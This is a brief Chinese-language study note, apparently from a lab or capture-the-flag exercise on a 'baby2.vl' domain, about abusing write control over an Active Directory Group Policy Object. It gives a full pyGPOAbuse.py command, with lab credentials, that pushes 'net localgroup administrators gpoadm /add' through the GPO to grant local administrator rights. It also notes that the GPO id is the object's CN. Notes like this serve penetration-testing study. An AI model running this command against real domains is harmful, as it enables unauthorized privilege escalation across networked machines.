10.GPOAbuse

Group policies | The Hacker Recipes
常用工具 pyGPOAbuse.py

1. 快速利用

当你拥有一个对GPO有控制权限的对象时
Pasted image 20251030232856.png

直接将目标添加到本机管理员

python3 pygpoabuse.py  'baby2.vl/gpoadm:Admin123' -gpo-id "6AC1786C-016F-11D2-945F-00C04FB984F9" -command 'net localgroup administrators gpoadm /add' -f

这里的 gpo-id 就是这个GPO的 CN
Pasted image 20251030234157.png